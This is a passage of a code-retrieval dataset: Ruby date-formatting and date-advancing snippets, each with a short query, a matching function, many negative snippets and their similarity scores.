"0.5422925", "0.5421504", "0.54196763", "0.5416284", "0.54160845", "0.54160845" ]
0.725412
3
the date in our string format: e.g., Monday April 05, 2010 9:00 AM = Apr 05, 2010
def as_string(date) date.strftime("%b %d, %Y") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end", "def get_date(date)\n\t\tif date != nil\n\t\t\ttemp = Date.parse date.to_s\n\t\t\treturn temp.strftime(\"%a, %b %d %Y\")\n\t\telse\n\t\t\treturn \"Not specifed\"\n\t\tend\n\tend", "def view_date(str)\r\n\t\t(wday,day,mon,year,hhmmss,etc) = str.to_s.split(/ /)\r\n\t\tmonth = @months[mon]\r\n\t\tstr = \"#{year}\\/#{month}\\/#{day} #{hhmmss}\"\r\n\t\treturn str\r\n\tend", "def date_formatted\n date.strftime(\"%A %B %d, %Y\")\n end", "def date_str d\n Util::date(d)\n end", "def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend", "def date_str(date)\n date.to_time.strftime('%a, %-d %b %Y %H:%M:%S %Z')\nend", "def date_str\n if self.jd.nil?\n return \"\"\n else\n Date.jd(self.jd).strftime(\"%B %d, %Y\")\n end\n end", "def short_date( date )\n date.strftime( '%b %d, %Y')\n end", "def nice_day string\r\n string = string.to_s\r\n return convert_day_to_date(string).strftime('%A, %B %e, %Y') if string.length == 8\r\n return Date.new(string).strftime('%A, %B %e, %Y')\r\n end", "def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end", "def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end", "def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end", "def format_date(date)\n year, month, day, day_name, hour = [\n date.year,\n Date::MONTHNAMES[date.month],\n date.day.ordinalize,\n date.strftime(\"%A\"),\n convert_hour(date.hour, 'standard')\n ]\n\n \"#{day_name} #{month} #{day}, #{year} at #{hour}\"\n end", "def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end", "def email_date; strftime(EMAIL_TIME_FORMAT); end", "def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end", "def formatted_date(date)\n return '' if date.nil?\n sprintf('%d/%d/%d alle %d:%d', date.day, date.month, date.year,\n date.hour, date.min)\n end", "def parse_date(date, format = '%b, %d %Y')\n date.to_time.strftime(format)\n end", "def formatted_date(date)\n date.present? ? date.strftime(\"%A, %B %d, %Y\") : \"\"\n end", "def convertDate(date)\n dateHash = date\n dateFormat = Date.parse dateHash\n dateString = dateFormat.strftime('%A, %b %d')\n return dateString \nend", "def date\n \"#{day} #{month.capitalize} #{year}\"\n end", "def format_date(date)\n return date if date.nil?\n Date.strptime(date.to_s, '%Y-%m-%d').strftime('%b %d, %Y')\n end", "def get_formatted_date(date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n new_date = arr[1] + \"-\" + arr[2] + \"-\" + arr[3]\n end", "def event_date(date)\n DateTime.parse(date).to_date.to_s\n end", "def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end", "def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end", "def formatted_date(date)\n DateTime.parse(date).strftime('%-m/%-d/%y')\n rescue\n ''\n end", "def format_date(date)\n date.strftime(\"%d %B %Y\")\n end", "def formatted_date\n \"#{self.day.date.strftime(\"%A, %B %e, %Y\")}\"\n end", "def date_str\n date.strftime(\"%Y%m%d\")\n end", "def date_to_s\n self.date.strftime(\"%B %d, %Y\")\n end", "def eBY_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%e %B %Y\")\n end\n result\n end", "def date(date_string, output = nil)\n if date_string.to_i.to_s == date_string\n date = DateTime.strptime(date_string.to_i.to_s, '%s')\n else\n date = DateTime.parse(date_string)\n end\n\n return date.strftime(\"%A, %e %b %Y %H:%M\") if !output rescue nil\n date.strftime(output) if !!output rescue nil\n end", "def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end", "def get_datetime_string(t)\n return t.strftime('%b %d, %Y %I:%M %p')\n end", "def dby_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%d %b %Y %H:%M\")\n end\n result\n end", "def human_readable_date\n d = self.date\n d.strftime(\"%B %d, %Y\")\n end", "def get_date_for_event(date)\n date.strftime(\"%A, %d/%m/%y\")\n end", "def web_date; strftime(WEB_DATE_FORMAT); end", "def strf_date(date_time)\n begin\n date_time.strftime('%Y-%m-%d')\n rescue\n date_time\n end\n end", "def httpdate\n return \"#{self.day_name[0, 3]}, #{@t_day} #{self.month_name[0, 3]} #{@t_year} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} GMT\"\n end", "def email_date\n strftime(MO.email_time_format)\n end", "def formatted_date\n Date.strptime(date, \"%m/%d/%Y\")\n end", "def readable_date\n date.strftime(\"%B %d, %Y\")\n end", "def format_date(date)\n if date.nil?\n return \"\"\n end\n if date.year == Date.today.year\n return date.strftime(\"%A, %B %-d\") unless date.nil?\n else\n return date.strftime(\"%A, %B %-d %Y\") unless date.nil?\n end\n end", "def showdate(my_date)\n if my_date\n str_date=my_date.to_date.strftime(\"%d-%m-%Y\")\n else\n str_date=\"\"\n end\n return str_date\n end", "def date(object)\n object.strftime(\"%b %d, %Y\")\n end", "def http_date\n tp = Time.now.gmtime.to_s.split\n \"#{tp[0]}, #{tp[2]} #{tp[1]} #{tp[5]} #{tp[3]} GMT\"\n end", "def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end", "def localized_date(date)\n date.strftime(\"%b %d, %Y\")\n end", "def get_date(date)\n date == Date.today ? \"Today\" : date.strftime(\"%A, %B %e %Y\")\n end", "def format_date_time( dt )\n dt.strftime( \"%B %e, %Y %I:%M%p\" )\nend", "def to_s\n date.strftime(DATE_FORMAT)\n end", "def detail_date( date )\n date.strftime( '%H:%M - %b %d, %Y')\n end", "def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend", "def date_formatted\n Time.parse(@actioned_at).strftime(\"%c\")\n end", "def format_date(date)\n date.strftime '%d-%m-%Y'\n end", "def date(input, format); end", "def date_str\n Util::Date.token_bill_date(created_at)\n end", "def format_date(date, format, str, outformat = nil)\n date = Date.strptime(date, format)\n str ? date.strftime(outformat || format) : date\n end", "def formatwrittendate(unformattedtime)\n unformattedtime.strftime('%A, %d %B, %Y')\n end", "def date(options = {})\n res = \"\"\n res += \"#{I18n.localize(self.starts_at, :format => '%A %d')} de \" if options[:include_week_day] != false\n res += \"#{I18n.localize(self.starts_at, :format => '%B')} de \" if options[:include_month] != false\n # TODO: hack hack hack 20 min\n res += \"#{self.starts_at.strftime(\"%H:%M\")} a #{self.ends_at.strftime(\"%H:%M\")}\"\n end", "def get_date\n format_date DateTime.new(2011, 1, 1, 17, 9, 59)\n end", "def as_readable_date\n strftime \"%b %e, %Y\"\n end", "def format_date(date, format)\n date = datetime(date)\n if format.nil? || format.empty? || format == \"ordinal\"\n date_formatted = ordinalize(date)\n else\n format.gsub!(/%a/, ABBR_DAYNAMES_DE[date.wday])\n format.gsub!(/%A/, DAYNAMES_DE[date.wday])\n format.gsub!(/%b/, ABBR_MONTHNAMES_DE[date.mon])\n format.gsub!(/%B/, MONTHNAMES_DE[date.mon])\n date_formatted = date.strftime(format)\n end\n date_formatted\n end", "def fmt_date(dt)\n if dt.present?\n dt.strftime(ApplicationHelper.date_fmt)\n end\n end", "def format_date( date = Date.today )\n date.strftime('%a %d/%m/%Y')\n end", "def format_date_from_url(date)\n DateTime.strptime(date, date_url_format).strftime(date_page_format)\n end", "def format_date (date)\n\t\treturn date.strftime(\"%d/%m/%Y\")\n\tend", "def formatted_date(dt, format=\"%m/%d/%Y\")\n\t\tDate.strptime(dt, '%Y-%m-%d').strftime(format)\n\tend", "def formated_date( input, format=$date_format )\n if not format.nil? and not input.nil?\n res = ParseDate.parsedate( input )\n Time.local(*res).strftime( format )\n else\n input\n end\n end", "def date_published_human\n date_published.strftime(\"on %B %d, %Y at %H:%M\")\n end", "def DateFormat(date)\n @newDate = date[:month] + \"/\" + date[:day] + \"/\" + date[:year]\n return @newDate\n end", "def format_date(date_str)\n ans = Date._parse(date_str, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :zone, :wday)\n Time.mktime(*ans)\n end", "def fmt_date(date)\n if (date)\n date.strftime(\"%m-%d-%Y\")\n end\n end", "def date(name)\n input(name + \"_m\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_d\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_y\", 4, 4)\n end", "def format_date(date)\n return prefs.format_date(date)\n end", "def format_date(date)\n return prefs.format_date(date)\n end", "def format_start_date()\n\t\tif Date.valid_date?(self.year, self.month, self.day)\n\t\t\treturn self.month.to_s + '/' + self.day.to_s\n\t\telse\n\t\t\traise \"Invalid start date specified.\"\n\t\tend\n\tend", "def date_formate(date)\n return nil if date.blank?\n date.strftime('%m/%d/%Y %I:%M %p')\n end", "def get_app_date()\n date_object = Date.strptime(@app_date, '%Y-%m-%d')\n format = date_object.strftime('%d/%m/%Y')\n return format.to_s\n end", "def get_inspection_date\n date.strftime(\"%B %d, %Y, %I:%M %p\")\n end", "def formalize_date(pubdate_str)\n # Allowed sample date formats: DEC 2:2021; 25-Dec:2019; Jul:2019; :2019\n wos_formats = ['%b %d:%Y', '%d-%b:%Y', '%b:%Y', ':%Y']\n parsed = nil\n wos_formats.each do |format|\n begin\n parsed = Date.strptime(pubdate_str, format)\n break\n rescue StandardError => e\n Rails.logger.warn \"Repository Work formalize date error #{e.message}\"\n nil\n end\n end\n return parsed.to_s\n end", "def format_date(date)\n date.strftime '%Y-%m-%d'\n end", "def stringify_date(date, month_type, type = nil, style = nil)\n return date if date.to_s.empty?\n\n time = time(date)\n if type == \"ordinal\"\n day = time.day\n ordinal_day = \"#{day}#{ordinal(day)}\"\n return time.strftime(\"#{month_type} #{ordinal_day}, %Y\") if style == \"US\"\n\n return time.strftime(\"#{ordinal_day} #{month_type} %Y\")\n end\n time.strftime(\"%d #{month_type} %Y\")\n end", "def to_date string\n \n end", "def my_date ( time )\n\t\treturn if time.nil?\n\t\t#past_day = -2.day.from_now\n\t\tif time > -2.day.from_now\n\t\t\treturn time_ago_in_words(time)\n\t\telse\n\t\t\treturn time.strftime(\"%b %d %Y\")\n\t\tend\n\tend", "def formatted_date\n \tobject.created_at.strftime(\"%R - %B %e, %Y \")\n end", "def date\n \"#{self[:day]}_#{self[:month]}_#{self[:year]}\"\n end", "def display_date(timestamp)\n local_time(timestamp).strftime('%B %d, %Y')\n end", "def format_date(date)\n date = DateTime.parse(date)\n date.strftime('%m/%d/%y')\n end", "def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end", "def to_s\n report_date.strftime(\"%B %Y\")\n end", "def format_date_nicely(date)\nend", "def formatted_datetime(date_time)\n date_time.strftime(\"%a, %e %b %Y %H:%M\")\n end", "def format_ap_date(date_obj)\n date_obj = DateTime.parse(date_obj) unless date_obj.is_a? DateTime\n\n if [*3..7].include? date_obj.month # months 3,4,5,6,7 are written as is in AP\n date_obj.strftime('%B %-d, %Y')\n elsif date_obj.month == 9 # Sept. is special\n date_obj.strftime('%bt. %-d, %Y')\n else # 3 letter abbr with .\n date_obj.strftime('%b. %-d, %Y')\n end\nend", "def display_time_for_appointment\n date.strftime(\"%I:%M:%S %p, %B #{date.day.ordinalize}, %Y\")\n end", "def format_date(date)\n am_or_pm = date.slice -2..-1\n less_stamp = date.slice(0..7)\n hour = date.slice 0..1\n hour = hour.to_i\n if am_or_pm == \"AM\"\n if hour == 12 # subtract 12\n hour = \"00\"\n puts hour << date.slice(2..7)\n else\n puts date.slice(0..7)\n end\n else\n if hour != 12\n hour = hour + 12\n hour = hour.to_s\n puts hour << date.slice(2..7)\n else\n hour = hour + 1\n hour = hour.to_s\n puts hour << date.slice(2..7)\n end\n end\nend", "def date\n # self.start_time.in_time_zone(self.school.timezone).strftime('%A - %-m/%d/%y')\n \"#{self.start_time.in_time_zone(self.school.timezone).strftime('%A')}</br>#{self.start_time.in_time_zone(self.school.timezone).strftime('%-m/%d/%y')}\".html_safe()\n end" ]
[ "0.76736623", "0.73489916", "0.7318942", "0.7301286", "0.72645795", "0.7159368", "0.7097934", "0.7077886", "0.70315427", "0.70311004", "0.70032275", "0.70032275", "0.6993825", "0.69583154", "0.6950454", "0.69430065", "0.69038975", "0.6893868", "0.68767935", "0.6850804", "0.68285143", "0.67945975", "0.6785989", "0.67771864", "0.6772889", "0.6763383", "0.6763383", "0.6756731", "0.67452615", "0.6724119", "0.6696907", "0.6684414", "0.6676941", "0.6661581", "0.66596735", "0.66582835", "0.665298", "0.6652196", "0.66453075", "0.66443855", "0.66284907", "0.6613942", "0.65926903", "0.65778476", "0.6560707", "0.6559892", "0.65575016", "0.65457124", "0.65363145", "0.6529669", "0.6526532", "0.6513685", "0.64967644", "0.6485205", "0.6483187", "0.6482443", "0.64809126", "0.6480214", "0.64720064", "0.64634764", "0.6455868", "0.6454443", "0.6441562", "0.6432572", "0.64228994", "0.63990235", "0.63902414", "0.63883233", "0.63855696", "0.6384324", "0.6379282", "0.63775164", "0.6369328", "0.63662237", "0.63632345", "0.63549465", "0.63501775", "0.6346847", "0.6346847", "0.63425404", "0.6342206", "0.63371485", "0.63335884", "0.63266224", "0.6325718", "0.6309866", "0.6301238", "0.62991023", "0.6294318", "0.6291624", "0.628467", "0.62819546", "0.626743", "0.62638164", "0.6259075", "0.6259064", "0.62517345", "0.6251727", "0.6242089", "0.62398934" ]
0.6758831
27
the date in our short format: e.g., Monday April 05, 2010 9:00 AM = :mon
def as_sym(date) date.strftime("%a").downcase.to_sym end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mon() @m_date.mon end", "def short_date( date )\n date.strftime( '%b %d, %Y')\n end", "def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend", "def view_date(str)\r\n\t\t(wday,day,mon,year,hhmmss,etc) = str.to_s.split(/ /)\r\n\t\tmonth = @months[mon]\r\n\t\tstr = \"#{year}\\/#{month}\\/#{day} #{hhmmss}\"\r\n\t\treturn str\r\n\tend", "def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end", "def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end", "def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end", "def monday\n date\n end", "def wday_shortname date\n %w'вс пн вт ср чт пт сб'[date.wday]\n end", "def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end", "def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end", "def short_time\n \ttime.strftime \"%b %-d\"\n end", "def date\n \"#{day} #{month.capitalize} #{year}\"\n end", "def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end", "def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end", "def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end", "def display_time_for_appointment\n date.strftime(\"%I:%M:%S %p, %B #{date.day.ordinalize}, %Y\")\n end", "def dateshort( time )\n time.strftime('%Y-%m-%d') if time\n end", "def name_of_day(style = :full)\n @time.strftime(style == :full ? \"%A\" : \"%a\")\n end", "def formatted_smalldate(d) # Mon, Januaury 01\n d.strftime('%b, %d') unless !d\n end", "def detail_date( date )\n date.strftime( '%H:%M - %b %d, %Y')\n end", "def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end", "def create_date_month_day\n\t\tcreated_at.to_date.to_formatted_s(:short)\n\tend", "def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend", "def as_datetime_in_words\n strftime \"%b %d %I:%M %p\"\n end", "def formatted_date(date)\n return '' if date.nil?\n sprintf('%d/%d/%d alle %d:%d', date.day, date.month, date.year,\n date.hour, date.min)\n end", "def dby_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%d %b %Y %H:%M\")\n end\n result\n end", "def date_published_human\n date_published.strftime(\"on %B %d, %Y at %H:%M\")\n end", "def name_of_month(style = :full)\n @time.strftime(style == :full ? \"%B\" : \"%b\")\n end", "def longdate(d)\n d.strftime(\"%b %d\")\n end", "def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end", "def watch_birthdate\n birthdate.to_s(:short_date)\n end", "def monday\n day(:monday)\n end", "def date(name)\n input(name + \"_m\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_d\", 2, 2) + \"&nbsp;/&nbsp;\" +\n input(name + \"_y\", 4, 4)\n end", "def human_readable_date\n d = self.date\n d.strftime(\"%B %d, %Y\")\n end", "def number_to_short_month_name(short)\n if short == 1\n return \"Jan\"\n elsif short == 4\n return \"Apr\"\n else short == 10\n return \"Oct\"\n end\nend", "def date_formatted\n date.strftime(\"%A %B %d, %Y\")\n end", "def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend", "def date_formate(date)\n return nil if date.blank?\n date.strftime('%m/%d/%Y %I:%M %p')\n end", "def shortDate(obj)\n obj.strftime(\"%m/%d/%Y\")\n end", "def formatted_date\n \"#{self.day.date.strftime(\"%A, %B %e, %Y\")}\"\n end", "def expected_note_short_date_format(date)\n (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d') : date.strftime('%b %-d, %Y')\n end", "def eval_date\n # FIXME: Make pref?\n h = Hash[\"mo\", 1, \"di\", 2, \"mi\", 3, \"do\", 4, \"fr\", 5, \"???\", 6]\n h.merge(Hash[\"mo\", 1, \"tu\", 2, \"we\", 3, \"th\", 4, \"fr\", 5, \"???\", 6])\n a = description.strip.downcase\n a = \"???\" if a.length < 3 || !h.include?(a[0..1])\n day = h[a[0..1]]\n time = a[2..a.length-1].strip.rjust(3, \"0\")\n \"#{day} #{time}\"\n end", "def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end", "def lunar_date(year, month, day)\n l = yang_to_nong(year, month, day)\n l[0].to_s + '-' + l[1].to_s + '-' + (/^\\d+/.match(l[2].to_s)).to_s\n end", "def get_date(date)\n\t\tif date != nil\n\t\t\ttemp = Date.parse date.to_s\n\t\t\treturn temp.strftime(\"%a, %b %d %Y\")\n\t\telse\n\t\t\treturn \"Not specifed\"\n\t\tend\n\tend", "def zt_date date\n if date.year == Time.now.year\n l date, format: :short\n else\n l date, format: :long\n end\n end", "def ymdw\n wek = %w[Sun Mon Tue Wed Thu Fri Sat][wday]\n format(\"%04d-%02d-%02d %s\", year, month, mday, wek)\n end", "def format_human_readable_date(date)\n case date.to_date\n when Time.zone.today.to_date\n 'Today'\n when Time.zone.tomorrow\n 'Tomorrow'\n when Time.zone.yesterday\n 'Yesterday'\n else\n l(date, format: :short)\n end\n end", "def readable_inspect\n strftime('%a, %d %b %Y')\n end", "def date\n \"#{self[:day]}_#{self[:month]}_#{self[:year]}\"\n end", "def moment_date( time )\n\t\ttime = time .to_time\n\t\t\"#{ time .year }.#{ time .month }.#{ time .day }\"\n\tend", "def day_month_year_hour_minute\n I18n.locale.to_s == 'pt' ? \"%d/%m/%Y %H:%M\" : \"%m/%d/%Y %I:%M %P\"\n end", "def format_date(date)\n year, month, day, day_name, hour = [\n date.year,\n Date::MONTHNAMES[date.month],\n date.day.ordinalize,\n date.strftime(\"%A\"),\n convert_hour(date.hour, 'standard')\n ]\n\n \"#{day_name} #{month} #{day}, #{year} at #{hour}\"\n end", "def get_date\n format_date DateTime.new(2011, 1, 1, 17, 9, 59)\n end", "def month\n start_on.strftime(MONTH_NAME)\n end", "def show_in_strftime\n @date.strftime(\"%d/%m/%Y -- %H:%M\")\n end", "def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end", "def opendate_short\n if opendate.year == Date.today.year\n d = opendate.strftime(\"%m/%d\")\n else\n d = opendate.strftime(\"%Y/%m/%d\")\n end\n w = %w(日 月 火 水 木 金 土)[opendate.wday]\n d+\" (\"+w+\") \"+(opendate_memo == nil ? \"\" : opendate_memo)\n end", "def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end", "def fmt_dow_date(dt) _format_dt dt, DOW_M_D end", "def format_date_time( dt )\n dt.strftime( \"%B %e, %Y %I:%M%p\" )\nend", "def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end", "def day_str(args = nil)\n ret = Datet.days(:trans => true)[self.day_in_week]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end", "def day(date)\n [date.day.ordinalize.to_s, month(date)].join(' ')\n end", "def day_of_month\n start_on.day.to_s\n end", "def nice_day string\r\n string = string.to_s\r\n return convert_day_to_date(string).strftime('%A, %B %e, %Y') if string.length == 8\r\n return Date.new(string).strftime('%A, %B %e, %Y')\r\n end", "def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end", "def format_date(date)\n date.strftime(\"%d %B %Y\")\n end", "def date(options = {})\n res = \"\"\n res += \"#{I18n.localize(self.starts_at, :format => '%A %d')} de \" if options[:include_week_day] != false\n res += \"#{I18n.localize(self.starts_at, :format => '%B')} de \" if options[:include_month] != false\n # TODO: hack hack hack 20 min\n res += \"#{self.starts_at.strftime(\"%H:%M\")} a #{self.ends_at.strftime(\"%H:%M\")}\"\n end", "def date_str d\n Util::date(d)\n end", "def date\n return MANUAL_DAY unless MANUAL_DAY.nil?\n time = Time.new\n raise ArgumentError, \"wrong day, dude.\" unless time.day == 5 #fridays\n \"%s/%s\" % [time.month, time.day]\nend", "def date \n\t\tI18n.l(moment, format: :date_long)\n\tend", "def heb_date\r\n return heb_day_name + \" ב\" + heb_month_name + \" \" + heb_year_name\r\n end", "def date_str\n if self.jd.nil?\n return \"\"\n else\n Date.jd(self.jd).strftime(\"%B %d, %Y\")\n end\n end", "def approach_time_format\n \"%b %e, %Y %l:%M%p\"\n end", "def nice_dob\n\t\t@nice_dob = @dob.strftime(\"%A the #{@dob.day.ordinalize} %B %Y\")\n\tend", "def showdate(my_date)\n if my_date\n str_date=my_date.to_date.strftime(\"%d-%m-%Y\")\n else\n str_date=\"\"\n end\n return str_date\n end", "def httpdate\n return \"#{self.day_name[0, 3]}, #{@t_day} #{self.month_name[0, 3]} #{@t_year} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} GMT\"\n end", "def show_date_format(time)\n unless time.blank?\n time.strftime(\"%Y年%m月%d日\") rescue '--'\n end\n end", "def get_inspection_date\n date.strftime(\"%B %d, %Y, %I:%M %p\")\n end", "def easy_date; date; end", "def expected_note_long_date_format(date)\n format = (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d %l:%M%P') : date.strftime('%b %-d, %Y %l:%M%P')\n format.gsub(/\\s+/, ' ')\n end", "def calendar_date_header date\n \"#{I18n.translate('date.day_names')[date.wday]} #{I18n.localize date, format: :long}\"\n end", "def publication_date\n pubdate=@pubmed['DP'].strip.split(\" \")\n if pubdate.length > 2\n pubdate[2].to_s + '-' + pubdate[1].to_s + '-' + pubdate[0].to_s\n elsif pubdate.length == 2\n '01-'+ pubdate[1]+'-'+ pubdate[0]\n elsif pubdate.length == 1\n '01-JAN-'+ pubdate[0]\n else\n nil\n end\n end", "def abbr_day_name; Date::ABBR_DAYNAMES[wday] end", "def printHTMLDateShort(tobj)\n return alStrftime(tobj,'%y-%m-%d')\n end", "def display_day_published\r\n \"Published : #{created_at.strftime('%-b %-d, %Y')}\"\r\n end", "def humanize_time(time)\n humanize_date(time.to_date) + (time.to_date.cweek == Date.today.cweek ? \" at \" + time.strftime(\"%l:%M %p\") : \"\")\n end", "def my_date ( time )\n\t\treturn if time.nil?\n\t\t#past_day = -2.day.from_now\n\t\tif time > -2.day.from_now\n\t\t\treturn time_ago_in_words(time)\n\t\telse\n\t\t\treturn time.strftime(\"%b %d %Y\")\n\t\tend\n\tend", "def day_of_month\n ordinal = case @time.day\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n \"#{@time.day}#{ordinal}\"\n end", "def web_date; strftime(WEB_DATE_FORMAT); end", "def lsish\n strftime \"%e. %b \" + (year == Time.start.year ? \"%H:%M:%S\" : \"%Y \")\n end", "def month_format(date)\n return nil if date.blank?\n date.strftime('%b')\n end", "def month_format(date)\n return nil if date.blank?\n date.strftime('%b')\n end", "def j; cat @time.strftime('%j') end", "def month_str\n ret = Datet.months(:trans => true)[@t_month]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end", "def display_time_for_tweet\n created_at.strftime(\"%B #{created_at.day.ordinalize}, %Y\")\n end", "def day_of_week\n start_on.strftime(WEEKDAY_NAME)\n end", "def format_ap_date(date_obj)\n date_obj = DateTime.parse(date_obj) unless date_obj.is_a? DateTime\n\n if [*3..7].include? date_obj.month # months 3,4,5,6,7 are written as is in AP\n date_obj.strftime('%B %-d, %Y')\n elsif date_obj.month == 9 # Sept. is special\n date_obj.strftime('%bt. %-d, %Y')\n else # 3 letter abbr with .\n date_obj.strftime('%b. %-d, %Y')\n end\nend", "def localized_date(date)\n date.strftime(\"%b %d, %Y\")\n end" ]
[ "0.75766975", "0.7412837", "0.69893575", "0.6814594", "0.6801713", "0.6801713", "0.6801713", "0.67772704", "0.67281264", "0.6718131", "0.6718131", "0.6710632", "0.66894144", "0.66697556", "0.66697556", "0.66663885", "0.6582588", "0.6573831", "0.6560424", "0.64899397", "0.6482222", "0.6458047", "0.6428018", "0.6416987", "0.6406124", "0.63968056", "0.63967687", "0.6382363", "0.6376072", "0.6352735", "0.6348784", "0.6343772", "0.62965775", "0.6293464", "0.6284956", "0.62835103", "0.62238914", "0.6218582", "0.6215155", "0.61806417", "0.61751604", "0.6173983", "0.617301", "0.6163115", "0.6153493", "0.61482", "0.6132665", "0.61006284", "0.6094839", "0.6089204", "0.6067872", "0.6067503", "0.60615903", "0.6061238", "0.6059079", "0.6050931", "0.60465944", "0.60460484", "0.6045478", "0.6031464", "0.60275096", "0.6026653", "0.6017916", "0.6016023", "0.60137916", "0.6012184", "0.60095894", "0.60081", "0.60027236", "0.59980994", "0.5983068", "0.5978323", "0.5977249", "0.59756947", "0.59540236", "0.5952523", "0.59516525", "0.5948684", "0.59379435", "0.5920473", "0.5919971", "0.5918197", "0.5911872", "0.59100306", "0.59077525", "0.590362", "0.5893298", "0.58905005", "0.58850116", "0.5879055", "0.58788735", "0.5878528", "0.5876309", "0.58759713", "0.58759713", "0.5875774", "0.5873186", "0.58641636", "0.585222", "0.58496064", "0.58477986" ]
0.0
-1
advance the specified date by 24 hours
def next_day(date) date + (60 * 60 * 24) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def advance(date, time)\n date.advance(hours: time.hour, minutes: time.min, seconds: time.sec)\n end", "def add_day(day)\n day += 24*60*60\nend", "def extendbythirthydays\n update_at = update_at + 14.days.from_now\n end", "def advance_hours(hours)\n self + (hours * 60 * 60)\n end", "def advance_days(days)\n advance_to_date(to_date + days)\n end", "def advance()\n @date = @date + 1\n end", "def advance()\n @date = @date + 1\n end", "def next_scheduled_at\n reviewed_at + (24.hours * next_interval)\n end", "def next_day_at_midnight\n Time.parse(self.strftime('%Y-%m-%d')) + (24*60*60)\n end", "def get_next_date(date, available_hours)\n # available_hours, ex : [(start_morning, end_morning), (start_afternoon, end_afternoon)]\n # 48 times because we want to try until the next day, same hour:\n # we add 0.5 hour each time so we have to add\n next_date = date + 30.minutes\n 48.times do\n available_hours.each do |interval|\n if (next_date.hour >= interval[0]) && (next_date.hour < interval[1])\n return next_date\n end\n end\n next_date += 30.minutes\n end\nend", "def advance(options)\n unless options[:weeks].nil?\n options[:weeks], partial_weeks = options[:weeks].divmod(1)\n options[:days] = options.fetch(:days, 0) + 7 * partial_weeks\n end\n\n unless options[:days].nil?\n options[:days], partial_days = options[:days].divmod(1)\n options[:hours] = options.fetch(:hours, 0) + 24 * partial_days\n end\n\n d = to_date.gregorian.advance(options)\n time_advanced_by_date = change(year: d.year, month: d.month, day: d.day)\n seconds_to_advance = \\\n options.fetch(:seconds, 0) +\n options.fetch(:minutes, 0) * 60 +\n options.fetch(:hours, 0) * 3600\n\n if seconds_to_advance.zero?\n time_advanced_by_date\n else\n time_advanced_by_date.since(seconds_to_advance)\n end\n end", "def next_day\n advance(days: 1)\n end", "def tomorrow\n advance(days: 1)\n end", "def tomorrow(x = 1)\n\t\tself + (86400 * x)\n\tend", "def add_hours(hours = 1)\n hours = hours.to_i\n cur_hour = @t_hour\n next_hour = cur_hour + hours\n \n if next_hour >= 24\n @t_hour = 0\n self.add_days(1)\n hours_left = (hours - 1) - (24 - cur_hour)\n self.add_hours(hours_left) if hours_left > 0\n elsif next_hour < 0\n @t_hour = 23\n self.add_days(-1)\n hours_left = hours + cur_hour + 1\n self.add_hours(hours_left) if hours_left < 0\n else\n @t_hour = next_hour\n end\n \n return self\n end", "def add_time\n if (date.hour == 0 or date.hour == 12) and date.min == 0 and date.sec == 0\n self.date = date + id \n end\n end", "def next_day(days = 1)\n advance(days: days)\n end", "def 